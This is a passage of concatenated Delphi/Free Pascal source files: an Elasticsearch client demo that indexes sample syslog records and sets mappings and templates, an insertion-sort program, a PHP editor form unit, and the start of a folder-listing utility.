LJson.Append('{ "type":"BSD","facility":"SysLogInternal","severity":"Critical","timeStamp":"2018-06-14T06:10:00.000Z","host":"192.168.8.1","process":"SysLogSimSvc","processId":2559,' + '"logMessage":"EVID:0042 120.213.104.204 accessed url: http:\/\/Website001.com at UserPC5"}' + #13#10);
LJson.Append('{"index":{}}' + #13#10);
LJson.Append('{ "type":"BSD","facility":"SystemDaemon","severity":"Emergency","timeStamp":"2018-06-14T06:15:00.000Z","host":"192.168.8.1","process":"SysLogSimSvc","processId":2559,"logMessage":"EVID:0024 Accepted packet 66.2.30.3:40076 -> WebServer2.acme.com:1352 TCP"}' + #13#10);
LJson.Append('{"index":{}}' + #13#10);
LJson.Append('{ "type":"BSD","facility":"Kernel","severity":"Emergency","timeStamp":"2018-06-14T06:20:00.000Z","host":"192.168.8.1","process":"SysLogSimSvc","processId":2559,"logMessage":"EVID:0000 Server2: miscellaneous log message"}' + #13#10);
//Use index and type here since it is a single index
LEndpoint := TEndpointClient.Create(ES_HOST, 9200, String.Empty,String.Empty, '2018-06-14/message/_bulk');
try
Screen.Cursor := crHourglass;
try
LEndpoint.Post(LJson.ToString);
if LEndpoint.StatusCode in [200, 201] then
memMain.Lines.Add(String.Format('POST %s: %s', [LEndpoint.FullURL, LJson.ToString ]))
else
memMain.Lines.Add(String.Format('Failed POST %s', [LEndpoint.StatusText ]));
finally
Screen.Cursor := crDefault;
end;
finally
LEndpoint.Free;
end;
finally
LJson.Free;
end;
end;
procedure TfmMain.btnBulkUpdateMultipleIndexClick(Sender: TObject);
var
LJson: TStringBuilder;
LEndpoint: TEndpointClient;
begin
LJson := TStringBuilder.Create;
try
//Index and type information will be specified on each line since we are
//updating multiple indexes with a single POST
LJson.Append('{"index":{"_index":"2018-06-14", "_type":"message"}}' + #13#10);
LJson.Append('{"type":"BSD","facility":"MailSystem","severity":"Critical","timeStamp":"2018-07-14T06:00:00.000Z","host":"192.168.8.1","process":"SysLogSimSvc","processId":2559,' + '"logMessage":"EVID:0018 Oh what a lovely day!"}' + #13#10);
LJson.Append('{"index":{"_index":"2018-06-14", "_type":"message"}}' + #13#10);
LJson.Append('{ "type":"BSD","facility":"SysLogInternal","severity":"Error","timeStamp":"2018-07-14T06:05:00.000Z","host":"192.168.8.1","process":"SysLogSimSvc","processId":2559,"logMessage":"EVID:0043 Oh what a lovely car!"}' + #13#10);
LJson.Append('{"index":{"_index":"2018-06-14", "_type":"message"}}' + #13#10);
LJson.Append('{ "type":"BSD","facility":"SysLogInternal","severity":"Critical","timeStamp":"2018-07-14T06:10:00.000Z","host":"192.168.8.1","process":"SysLogSimSvc","processId":2559,"logMessage":"EVID:0042 111.148.118.9 accessed url: http:\/\/Website001.com at UserPC5"}' + #13#10);
LJson.Append('{"index":{"_index":"2018-06-15", "_type":"message"}}' + #13#10);
LJson.Append('{ "type":"BSD","facility":"SystemDaemon","severity":"Emergency","timeStamp":"2018-07-15T06:15:00.000Z","host":"192.168.8.1","process":"SysLogSimSvc","processId":2559,"logMessage":"EVID:0024 Accepted packet 66.2.30.3:40076 -> WebServer2.acme.com:1352 TCP"}' + #13#10);
LJson.Append('{"index":{"_index":"2018-06-15", "_type":"message"}}' + #13#10);
LJson.Append('{ "type":"BSD","facility":"Kernel","severity":"Emergency","timeStamp":"2018-07-15T06:20:00.000Z","host":"192.168.8.1","process":"SysLogSimSvc","processId":2559,"logMessage":"EVID:0000 Server2: miscellaneous log message"}' + #13#10);
//Just use _bulk endpoint since indexes and types specified for each document
LEndpoint := TEndpointClient.Create(ES_HOST, 9200, String.Empty,String.Empty, '_bulk');
try
Screen.Cursor := crHourglass;
try
LEndpoint.Post(LJson.ToString);
if LEndpoint.StatusCode in [200, 201] then
memMain.Lines.Add(String.Format('POST %s: %s', [LEndpoint.FullURL, LJson.ToString ]))
else
memMain.Lines.Add(String.Format('Failed POST %s', [LEndpoint.StatusText ]));
finally
Screen.Cursor := crDefault;
end;
finally
LEndpoint.Free;
end;
finally
LJson.Free;
end;
end;
procedure TfmMain.btnDeleteClick(Sender: TObject);
var
LEndpoint: TEndpointClient;
LResponse: String;
begin
//Will delete and flush the Lucene index underneath. This call may return
//before that occurs.
LEndpoint := TEndpointClient.Create('http://127.0.0.1', 9200, String.Empty,String.Empty, '2018-07-01/message/DocID01');
try
Screen.Cursor := crHourglass;
try
LResponse := LEndpoint.Delete;
finally
Screen.Cursor := crDefault;
end;
if LEndpoint.StatusCode in [200, 201] then
memMain.Lines.Add(String.Format('Deleted %s: %s', [LEndpoint.FullURL, LResponse ]))
else
memMain.Lines.Add(String.Format('Failed Delete %s', [LEndpoint.StatusText ]));
finally
LEndpoint.Free;
end;
end;
procedure TfmMain.btnPutIndexClick(Sender: TObject);
var
LJson: TStringBuilder;
LEndPoint: TEndpointClient;
LPutResult: String;
begin
//Standard Procedure
//1 - Creaste a TStringBuilder And Add the Request Json To it
//2 - Use ToString to get the Request.
LJson := TStringBuilder.Create;
try
LJson.Append(('{ ').Trim);
LJson.Append((' "settings" : { ').Trim);
LJson.Append((' "index" : { ').Trim);
LJson.Append((' "number_of_shards" : 5, ').Trim); //5 is default
LJson.Append((' "number_of_replicas" : 0 ').Trim); //2 is default but we use 0 here since we have only one node.
LJson.Append((' } ').Trim);
LJson.Append((' } ').Trim);
LJson.Append(('} ').Trim);
LEndPoint := TEndpointClient.Create(ES_HOST, 9200, String.Empty, String.Empty, cbIndexName.Text);
try
Screen.Cursor := crHourglass;
try
LPutResult := LEndpoint.Put(LJson.ToString);
finally
Screen.Cursor := crDefault;
end;
memMain.Lines.Add(String.Format('Put %s to %s', [LJson.ToString, LEndpoint.FullURL ]));
if 200 = LEndpoint.StatusCode then
memMain.Lines.Add(String.Format('%s created!', [LEndpoint.FullURL]))
else
begin
memMain.Lines.Add(String.Format('%s creation failed!', [LEndpoint.FullURL]));
memMain.Lines.Add(LPutResult);
end;
finally
LEndpoint.Free;
end;
finally
LJson.Free;
end;
end;
procedure TfmMain.btnPutTextMappingClick(Sender: TObject);
var
LJson: TStringBuilder;
LEndPoint: TEndpointClient;
LPutData, LPutResult: String;
begin
//Standard Procedure
//1 - Creaste a TStringBuilder And Add the Request Json To it
//2 - Use ToString to get the Request.
LJson := TStringBuilder.Create;
try
LJson.Append(('{ ').Trim);
LJson.Append((' "properties" : { ').Trim);
LJson.Append((' "type" : { ').Trim);
LJson.Append((' "type" : "keyword" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "facility" : { ').Trim);
LJson.Append((' "type" : "keyword" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "severity" : { ').Trim);
LJson.Append((' "type" : "keyword" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "timestamp" : { ').Trim);
LJson.Append((' "type" : "date" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "host" : { ').Trim);
LJson.Append((' "type" : "keyword" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "process" : { ').Trim);
LJson.Append((' "type" : "keyword", ').Trim);
LJson.Append((' "ignore_above" : 100 ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "processId" : { ').Trim);
LJson.Append((' "type" : "long" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "logMessage" : { ').Trim);
LJson.Append((' "type" : "text" ').Trim);
LJson.Append((' } ').Trim);
LJson.Append((' } ').Trim);
LJson.Append(('} ').Trim);
LEndPoint := TEndpointClient.Create(ES_HOST, 9200, String.Empty, String.Empty, String.Format('%s/_mapping', [cbIndexName.Text]));
try
Screen.Cursor := crHourglass;
try
LPutData := LJson.ToString;
LPutResult := LEndpoint.Put(LPutData);
finally
Screen.Cursor := crDefault;
end;
memMain.Lines.Add(String.Format('Put %s to %s', [LPutData, LEndpoint.FullURL ]));
if 200 = LEndpoint.StatusCode then
memMain.Lines.Add(String.Format('%s created!', [LEndpoint.FullURL]))
else
begin
memMain.Lines.Add(String.Format('%s creation failed!', [LEndpoint.FullURL]));
memMain.Lines.Add(LPutResult);
end;
finally
LEndpoint.Free;
end;
finally
LJson.Free;
end;
end;
procedure TfmMain.btnPutKeyWordMappingClick(Sender: TObject);
var
LJson: TStringBuilder;
LEndPoint: TEndpointClient;
LPutData, LPutResult: String;
begin
//Standard Procedure
//1 - Creaste a TStringBuilder And Add the Request Json To it
//2 - Use ToString to get the Request.
LJson := TStringBuilder.Create;
try
LJson.Append(('{ ').Trim);
LJson.Append((' "properties" : { ').Trim);
LJson.Append((' "type" : { ').Trim);
LJson.Append((' "type" : "keyword" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "facility" : { ').Trim);
LJson.Append((' "type" : "keyword" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "severity" : { ').Trim);
LJson.Append((' "type" : "keyword" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "timestamp" : { ').Trim);
LJson.Append((' "type" : "date" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "host" : { ').Trim);
LJson.Append((' "type" : "keyword" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "process" : { ').Trim);
LJson.Append((' "type" : "keyword", ').Trim);
LJson.Append((' "ignore_above" : 100 ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "processId" : { ').Trim);
LJson.Append((' "type" : "long" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "logMessage" : { ').Trim);
LJson.Append((' "type" : "keyword" ').Trim);
LJson.Append((' } ').Trim);
LJson.Append((' } ').Trim);
LJson.Append(('} ').Trim);
LEndPoint := TEndpointClient.Create(ES_HOST, 9200, String.Empty, String.Empty, String.Format('%s/_mapping', [cbIndexName.Text]));
try
Screen.Cursor := crHourglass;
try
LPutData := LJson.ToString;
LPutResult := LEndpoint.Put(LPutData);
finally
Screen.Cursor := crDefault;
end;
memMain.Lines.Add(String.Format('Put %s to %s', [LPutData, LEndpoint.FullURL ]));
if 200 = LEndpoint.StatusCode then
memMain.Lines.Add(String.Format('%s created!', [LEndpoint.FullURL]))
else
begin
memMain.Lines.Add(String.Format('%s creation failed!', [LEndpoint.FullURL]));
memMain.Lines.Add(LPutResult);
end;
finally
LEndpoint.Free;
end;
finally
LJson.Free;
end;
end;
procedure TfmMain.btnTextKeywordDataClick(Sender: TObject);
var
LJson: TStringBuilder;
LEndPoint: TEndpointClient;
LPutData, LPutResult: String;
begin
//Standard Procedure
//1 - Creaste a TStringBuilder And Add the Request Json To it
//2 - Use ToString to get the Request.
LJson := TStringBuilder.Create;
try
LJson.Append(('{ ').Trim);
LJson.Append((' "properties" : { ').Trim);
LJson.Append((' "type" : { ').Trim);
LJson.Append((' "type" : "keyword" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "facility" : { ').Trim);
LJson.Append((' "type" : "keyword" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "severity" : { ').Trim);
LJson.Append((' "type" : "keyword" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "timeStamp" : { ').Trim);
LJson.Append((' "type" : "date" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "host" : { ').Trim);
LJson.Append((' "type" : "keyword" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "process" : { ').Trim);
LJson.Append((' "type" : "keyword", ').Trim);
LJson.Append((' "ignore_above" : 100 ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "processId" : { ').Trim);
LJson.Append((' "type" : "long" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "logMessage" : { ').Trim);
LJson.Append((' "type" : "text", ').Trim);
LJson.Append((' "fields" : { ').Trim);
LJson.Append((' "keyword" : { ').Trim);
LJson.Append((' "type" : "keyword"').Trim);
LJson.Append((' } ').Trim);
LJson.Append((' } ').Trim);
LJson.Append((' } ').Trim);
LJson.Append((' } ').Trim);
LJson.Append((' } ').Trim);
LJson.Append(('} ').Trim);
LEndPoint := TEndpointClient.Create(ES_HOST, 9200, String.Empty, String.Empty, String.Format('%s/_mapping', [cbIndexName.Text]));
try
Screen.Cursor := crHourglass;
try
LPutData := LJson.ToString;
LPutResult := LEndpoint.Put(LPutData);
finally
Screen.Cursor := crDefault;
end;
memMain.Lines.Add(String.Format('Put %s to %s', [LPutData, LEndpoint.FullURL ]));
if 200 = LEndpoint.StatusCode then
memMain.Lines.Add(String.Format('%s created!', [LEndpoint.FullURL]))
else
begin
memMain.Lines.Add(String.Format('%s creation failed!', [LEndpoint.FullURL]));
memMain.Lines.Add(LPutResult);
end;
finally
LEndpoint.Free;
end;
finally
LJson.Free;
end;
end;
procedure TfmMain.btnAddFileClick(Sender: TObject);
var
LEndpoint: TEndpointClient;
LJson: TStringBuilder;
LFileContents: TStringList;
i: Integer;
begin
if not odBulk.Execute then
EXIT;
LFileContents := TStringList.Create;
try
LFileContents.LoadFromFile(odBulk.FileName);
LJson := TStringBuilder.Create;
try
for i := 0 to (LFileContents.Count - 1) do
begin
LJSon.Append(String.Format('{"index":{"_index":"%s", "_routing" : "%s"}}', [ebRoutedIndex.Text]) + #13#10);
LJSon.Append(LFileContents[i] + #13#10);
end;
LEndpoint := TEndpointClient.Create(ES_HOST, 9200, String.Empty,String.Empty, '_bulk');
try
Screen.Cursor := crHourglass;
try
LEndpoint.Post(LJson.ToString);
if LEndpoint.StatusCode in [200, 201] then
memMain.Lines.Add(String.Format('POST %s: %s', [LEndpoint.FullURL, LJson.ToString ]))
else
memMain.Lines.Add(String.Format('Failed POST %s', [LEndpoint.StatusText ]));
finally
Screen.Cursor := crDefault;
end;
finally
LEndpoint.Free;
end;
finally
LJSon.Free;
end;
finally
LFileContents.Free;
end;
end;
procedure TfmMain.btnTemplateClick(Sender: TObject);
var
LJson: TStringBuilder;
LEndPoint: TEndpointClient;
LPutData, LPutResult: String;
begin
//Standard Procedure
//1 - Creaste a TStringBuilder And Add the Request Json To it
//2 - Use ToString to get the Request.
LJson := TStringBuilder.Create;
try
LJson.Append(('{ ').Trim);
LJson.Append((' "index_patterns": [' + String.Format('"%s"', [ebIndexMask.Text]) + '], ').Trim);
LJson.Append((' "settings": { ').Trim);
LJson.Append((' "index": { ').Trim);
LJson.Append((' "number_of_shards": 1 ').Trim);
LJson.Append((' } ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "mappings": { ').Trim);
LJson.Append((' "_source": { ').Trim);
LJson.Append((' "enabled": false ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "dynamic" : "false", ').Trim); //true will not create field and add to mapping if document contains unknown feild
//false will not create new field
//strict will throw an exception and not add documents
LJson.Append((' "properties" : { ').Trim);
LJson.Append((' "type" : { ').Trim);
LJson.Append((' "store" : true, ').Trim);
LJson.Append((' "type" : "keyword" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "facility" : { ').Trim);
LJson.Append((' "store" : true, ').Trim);
LJson.Append((' "type" : "keyword" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "severity" : { ').Trim);
LJson.Append((' "store" : true, ').Trim);
LJson.Append((' "type" : "keyword" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "timeStamp" : { ').Trim);
LJson.Append((' "store" : true, ').Trim);
LJson.Append((' "type" : "date" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "host" : { ').Trim);
LJson.Append((' "store" : true, ').Trim);
LJson.Append((' "type" : "keyword" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "process" : { ').Trim);
LJson.Append((' "store" : true, ').Trim);
LJson.Append((' "type" : "keyword", ').Trim);
LJson.Append((' "ignore_above" : 100 ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "processId" : { ').Trim);
LJson.Append((' "store" : true, ').Trim);
LJson.Append((' "type" : "long" ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "logMessage" : { ').Trim);
LJson.Append((' "store" : true, ').Trim);
LJson.Append((' "type" : "text", ').Trim);
LJson.Append((' "fields" : { ').Trim);
LJson.Append((' "keyword" : { ').Trim);
LJson.Append((' "type" : "keyword"').Trim);
LJson.Append((' } ').Trim);
LJson.Append((' } ').Trim);
LJson.Append((' } ').Trim);
LJson.Append((' } ').Trim);
LJson.Append((' } ').Trim);
LJson.Append((' }, ').Trim);
LJson.Append((' "aliases" : {} ').Trim);
LJson.Append(('} ').Trim);
//Template name must be lower case
LEndPoint := TEndpointClient.Create(ES_HOST, 9200, String.Empty, String.Empty, '_template/.logmessage');
try
Screen.Cursor := crHourglass;
try
LPutData := LJson.ToString;
LPutResult := LEndpoint.Put(LPutData);
finally
Screen.Cursor := crDefault;
end;
memMain.Lines.Add(String.Format('Put %s to %s', [LPutData, LEndpoint.FullURL ]));
if 200 = LEndpoint.StatusCode then
memMain.Lines.Add(String.Format('%s created!', [LEndpoint.FullURL]))
else
begin
memMain.Lines.Add(String.Format('%s creation failed!', [LEndpoint.FullURL]));
memMain.Lines.Add(LPutResult);
end;
finally
LEndpoint.Free;
end;
finally
LJson.Free;
end;
end;
procedure TfmMain.Button1Click(Sender: TObject);
begin
CreateIndex(ebRoutedIndex.Text, cbShards.ItemIndex + 1);
if not odBulk.Execute then
EXIT;
var LDict := TObjectDictionary<string, TList<string>>.Create([doOwnsValues]);
try
var LFileContents := TStringList.Create;
try
LFileContents.LoadFromFile(odBulk.FileName);
for var i := 0 to (LFileContents.Count - 1) do
begin
var LMsg := TLogMessage.Create(LFileContents[i]);
if not LDict.ContainsKey(LMsg.Severity) then
LDict.Add(LMsg.Severity, TList<String>.Create);
LDict[LMsg.Severity].Add(LFileContents[i]);
end;
finally
LFileContents.Free;
end;
var LEndPoint := TEndpointClient.Create(ES_HOST, 9200, String.Empty, String.Empty, '_bulk');
try
for var LDictionaryEntery in LDict do
begin
var LJson := TStringBuilder.Create;
try
for var i := 0 to (LDictionaryEntery.Value.Count -1) do
begin
LJSon.Append(String.Format('{"index":{"_index":"%s", "routing" : "%s"}}', [ebRoutedIndex.Text, LDictionaryEntery.Key]) + #13#10);
LJSon.Append(LDictionaryEntery.Value[i] + #13#10);
end;
Screen.Cursor := crhourglass;
try
LEndpoint.Post(LJSon.ToString);
finally
Screen.Cursor := crDefault;
end;
memMain.Lines.Add(String.Format('Posted to %s', [LEndpoint.FullURL ]));
if 200 = LEndpoint.StatusCode then
memMain.Lines.Add(String.Format('%s created!', [LEndpoint.FullURL]))
else
begin
memMain.Lines.Add(String.Format('%s creation failed!', [LEndpoint.FullURL]));
end;
finally
LJson.Free;
end;
end;
finally
LEndpoint.Free;
end;
finally
LDict.Free;
end;
end;
end.
|
program insertion_sort;
const
N = 10; // Max number of array elements
type
array1d = Array[1..N] of Integer;
{ Start pf procedure switchElements }
procedure switchElements(var el1, el2 : Integer);
var
temp : Integer;
begin
temp := el1;
el1 := el2;
el2 := temp;
end;
{ End of procedure switchElements }
{ Start of procedure fillArray }
procedure fillArray(var arrFill : array1d);
var
i : Integer;
begin
WriteLn('Filling array elements...');
Randomize;
for i := 1 to N do begin
arrFill[i] := Random(1000);
end;
WriteLn();
end;
{ End of procedure fillArray }
{ Start of procedure insertionSort }
procedure insertionSort(var arrIn : array1d);
var
holePosition, valueToInsert : Integer; // Variables
i : Integer; // Loop variable
begin
WriteLn('Sorting array...');
for i := 2 to N do begin
valueToInsert := arrIn[i];
holePosition := i;
while (holePosition > 1) and (arrIn[holePosition - 1] > valueToInsert) do begin
arrIn[holePosition] := arrIn[holePosition - 1];
holePosition := holePosition-1;
end;
if holePosition <> i then begin
arrIn[holePosition] := valueToInsert;
end;
end;
WriteLn('Done sorting array!');
WriteLn();
end;
{ End of procedure insertionSort }
{ Start of procedure listArray }
procedure listArray(arr : array1d);
var
i : Integer;
begin
WriteLn('Array elements:');
for i := 1 to N do begin
Write(arr[i], ' ');
end;
WriteLn();
WriteLn();
end;
{ End of procedure listArray }
var
array1 : array1d;
begin
fillArray(array1);
listArray(array1);
insertionSort(array1);
listArray(array1);
Write('Press <Enter> to close the program...');
ReadLn();
end.
|
unit PhpEditView;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Menus, StdCtrls, ExtCtrls,
dcstring, dcsystem, dcparser, dccommon, dcmemo,
dxDockControl, dxDockPanel,
dfsSplitter,
EasyClasses, EasyParser, EasyEditor, EasyEditSource, {EasyEditorActions,}
CodeExplorerView;
type
TPhpEditForm = class(TForm)
Source: TEasyEditSource;
PhpParser: TEasyEditorParser;
ChangeTimer: TTimer;
Edit: TEasyEdit;
dfsSplitter1: TdfsSplitter;
procedure EditSourceChanged(Sender: TObject;
State: TEasyEditSourceStates);
procedure FormCreate(Sender: TObject);
procedure ChangeTimerTimer(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure EditAutoComplete(Sender: TObject; Strings: TStrings;
AKey: Char; var AllowPopup: Boolean);
procedure EditBeforeInsertPopup(Sender: TObject; var s: String);
private
{ Private declarations }
FCodeDesigner: TCodeDesigner;
FOnModified: TNotifyEvent;
ExplorerForm: TCodeExplorerForm;
FObjectList: TStrings;
FOnLazyUpdate: TNotifyEvent;
protected
function GetStrings: TStrings;
procedure SetCodeDesigner(const Value: TCodeDesigner);
procedure SetStrings(const Value: TStrings);
protected
procedure DoModified;
function FillCodeCompletion(inStrings: TStrings): Boolean;
procedure FillStrings(inStrings: TStrings; const inClass: string);
procedure GetPlainString(var ioString: string);
procedure LazyUpdate;
public
{ Public declarations }
procedure ShowSource(Sender: TObject; inX, inY: Integer);
procedure ValidateMethods(inContainer: TWinControl);
public
property CodeDesigner: TCodeDesigner read FCodeDesigner
write SetCodeDesigner;
property ObjectList: TStrings read FObjectList write FObjectList;
property Strings: TStrings read GetStrings write SetStrings;
property OnLazyUpdate: TNotifyEvent read FOnLazyUpdate write FOnLazyUpdate;
property OnModified: TNotifyEvent read FOnModified write FOnModified;
end;
implementation
uses
EasySearchDlg, EasyReplDlg, EasyGotoDlg, LrUtils, PhpCodeDesigner;
{$R *.dfm}
procedure TPhpEditForm.FormCreate(Sender: TObject);
begin
Source.Strings.Clear;
//
CodeDesigner := TPhpCodeDesigner.Create(Self);
CodeDesigner.OnShowSource := ShowSource;
//
//AddForm(ExplorerForm, TCodeExplorerForm, ExplorerDock);
AddForm(ExplorerForm, TCodeExplorerForm, Self, alLeft);
ExplorerForm.EasyEdit := Edit;
ExplorerForm.Left := 0;
end;
procedure TPhpEditForm.FormShow(Sender: TObject);
begin
LazyUpdate;
end;
function TPhpEditForm.GetStrings: TStrings;
begin
Result := Source.Strings;
end;
procedure TPhpEditForm.SetStrings(const Value: TStrings);
begin
Source.Strings.Assign(Value);
LazyUpdate;
end;
procedure TPhpEditForm.DoModified;
begin
if Assigned(OnModified) then
OnModified(Self);
end;
procedure TPhpEditForm.EditSourceChanged(Sender: TObject;
State: TEasyEditSourceStates);
begin
if (State <> [csPositionChanged]) then
begin
ChangeTimer.Enabled := true;
if Edit.Modified then
DoModified;
end;
end;
procedure TPhpEditForm.ChangeTimerTimer(Sender: TObject);
begin
ChangeTimer.Enabled := false;
LazyUpdate;
end;
procedure TPhpEditForm.LazyUpdate;
begin
if Assigned(OnLazyUpdate) then
OnLazyUpdate(Self);
if (ExplorerForm <> nil) then
ExplorerForm.UpdateExplorer;
end;
procedure TPhpEditForm.SetCodeDesigner(const Value: TCodeDesigner);
begin
FCodeDesigner := Value;
FCodeDesigner.Strings := Strings;
end;
procedure TPhpEditForm.ShowSource(Sender: TObject; inX, inY: Integer);
begin
Source.JumpTo(inX, inY);
if Edit.CanFocus then
Edit.SetFocus;
end;
procedure TPhpEditForm.ValidateMethods(inContainer: TWinControl);
begin
with TPhpCodeDesigner(CodeDesigner) do
begin
DeleteEmptyMethods;
ValidateEventProperties(inContainer);
end;
end;
//var
// lastKey: Char;
procedure TPhpEditForm.EditAutoComplete(Sender: TObject;
Strings: TStrings; AKey: Char; var AllowPopup: Boolean);
begin
{
if (AKey = '>') and (lastKey = '-') then
AllowPopup := FillCodeCompletion(Strings);
lastKey := AKey;
}
if (AKey = '>') then
AllowPopup := FillCodeCompletion(Strings);
end;
function TPhpEditForm.FillCodeCompletion(inStrings: TStrings): Boolean;
var
s: string;
aClass: string;
begin
Result := false;
//
//Edit.PopupWindow.Images.Free;
//
with Edit, Source, CurrentPosition do
s := GetTextAt(Point(X {- 1}, Y), false);
if s = '' then
exit;
//
if (ObjectList <> nil) then
aClass := ObjectList.Values[s];
//
inStrings.Clear;
FillStrings(inStrings, aClass);
//
Result := true;
{
aClass := GetClass(s);
//
if AClass <> nil then
FillStrings(Strings, AClass)
else begin
cmp := EasyEdit.Owner.FindComponent(s);
if cmp <> nil then
FillStrings(Strings, cmp.ClassType)
else
FillStrings(Strings, TWinControl);
end;
}
end;
procedure TPhpEditForm.FillStrings(inStrings: TStrings; const inClass: string);
const
sColorTable = '{\rtf{\colortbl\red0\green0\blue0;\red0\green128\blue128;\red128\green0\blue0;\red128\green128\blue0;\red0\green0\blue255;}';
sTypeStr = '\cf2 Type \cf0 \b | %s';
sPropStr = '\cf1 Property \cf0 | %s | \b %s}';
sVarStr = '\cf2 Var \cf0 \b | %s';
sParamStr = '\cf3 Param \cf0 \b | %s';
sConstStr = '\cf2 Const \cf0 \b | %s';
sFuncStr = '\cf4 Function \cf0 \b | %s \b0 %s';
sNoParams = '\b *No parameters expected*';
sStandardProps: array[0..7] of string =
( 'App', 'Attributes', 'Content', 'Elt', 'Hidden', 'Name', 'OnGenerate',
'Styles' );
var
i : integer;
{
Count : integer;
RealCount : integer;
PropInfo : PPropInfo;
PropList : PPropList;
}
begin
inStrings.Add(Format(sColorTable + sTypeStr, [ inClass ]));
for i := 0 to 7 do
begin
inStrings.Add(Format(sColorTable + sPropStr, [ sStandardProps[i], '' ]));
end;
{
Count := GetTypeData(AClass.ClassInfo)^.PropCount;
if Count > 0 then
begin
GetMem(PropList, Count * SizeOf(Pointer));
try
RealCount := GetPropList(AClass.ClassInfo, tkAny, PropList);
for i := 0 to RealCount - 1 do
begin
PropInfo := PropList^[i];
Strings.Add(Format(sColorTable + sPropStr, [PropInfo.Name, PropInfo.PropType^.Name]));
end;
finally
FreeMem(PropList, Count * SizeOf(Pointer));
end;
end;
}
end;
procedure TPhpEditForm.EditBeforeInsertPopup(Sender: TObject;
var s: String);
begin
GetPlainString(s);
end;
procedure TPhpEditForm.GetPlainString(var ioString: string);
var
P : integer;
begin
//outIsFunction := Pos('function', ioString) > 0;
p := Pos('|', ioString);
if p <> 0 then
Delete(ioString, 1, p);
ioString := Trim(ioString);
p := Pos(' ', ioString);
if p <> 0 then
Delete(ioString, p, MaxInt);
end;
end.
|
unit VisitFoldersUtil;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, StrUtils, FileUtil, PreFile, PreFileList;
type
TVisitFoldersUtil = class
private
listPreFile: TPreFileList;
separatorFile: char;
function mountBigSize(nTam: Int64): String;
function mountSize(nTam: Extended): String;
function ToAttributes(npAtributos: integer): String;
function ToPreFile(sfile: string; SearchRec: TSearchRec): TPreFile;
public
constructor Create;
destructor Destroy; override;
function getListFromFiles(sdir: String): TPreFileList;
end;
implementation
constructor TVisitFoldersUtil.Create;
begin
inherited Create;
separatorFile := DirectorySeparator;
listPreFile:=TPreFileList.Create;
end;
destructor TVisitFoldersUtil.Destroy;
begin
listPreFile.Free;
inherited Destroy;
end;
function TVisitFoldersUtil.mountBigSize(nTam: Int64): String;
begin
if nTam > 0 then begin
result:=mountSize(nTam);
end else
result:='';
end;
function TVisitFoldersUtil.mountSize(nTam: Extended): String;
var
nUmKilo, nUmMega, nUmGiga, nUmTera, nUmPeta: Extended;
begin
nUmKilo := 1024;
nUmMega := nUmKilo * 1024;
nUmGiga := nUmMega * 1024;
nUmTera := nUmGiga * 1024;
nUmPeta := nUmTera * 1024;
if (nTam < nUmKilo) then
begin
Result := FormatFloat('#,##0.00', nTam) + ' Byte(s)';
end
else if (nTam > nUmKilo) and (nTam < nUmMega) then
begin
nTam:=nTam / nUmKilo;
Result := FormatFloat('#,##0.00', nTam) + ' KByte(s)';
end
else if (nTam > nUmMega) and (nTam < nUmGiga) then
begin
nTam:=nTam / nUmMega;
Result := FormatFloat('#,##0.00', nTam) + ' MByte(s)';
end
else if (nTam > nUmGiga) and (nTam < nUmTera) then
begin
nTam:=nTam / nUmGiga;
Result := FormatFloat('#,##0.00', nTam) + ' GByte(s)';
end
else if (nTam > nUmTera) and (nTam < nUmPeta) then
begin
nTam := nTam / nUmTera;
Result := FormatFloat('#,##0.00', nTam) + ' TByte(s)';
end
else
begin
nTam := nTam / nUmPeta;
Result := FormatFloat('#,##0.00', nTam) + ' PByte(s)';
end;
end;
function TVisitFoldersUtil.ToAttributes(npAtributos: integer): String;
var sAtributos: string;
begin
sAtributos:='';
if (npAtributos and SysUtils.faReadOnly > 0) then sAtributos:=sAtributos+'[ROL]';
if (npAtributos and SysUtils.faHidden > 0) then sAtributos:=sAtributos+'[HID]';
if (npAtributos and SysUtils.faSysFile > 0) then sAtributos:=sAtributos+'[SYS]';
//if (npAtributos and SysUtils.faVolumeID > 0) then sAtributos:=sAtributos+'[VOL]';
if (npAtributos and SysUtils.faDirectory > 0) then sAtributos:=sAtributos+'[DIR]';
if (npAtributos and SysUtils.faArchive > 0) then sAtributos:=sAtributos+'[ARQ]';
//if (npAtributos and SysUtils.faAnyFile > 0) then sAtributos:=sAtributos+'[Q]';
result:=sAtributos;
end;
function TVisitFoldersUtil.ToPreFile(sfile: string; SearchRec: TSearchRec): TPreFile;
var
prefile: TPreFile;
sname: string;
begin
prefile:=TPreFile.Create;
sname:=ReplaceStr(SearchRec.Name, '''', '''''');
prefile.setName(sname);
prefile.setSize(SearchRec.Size);
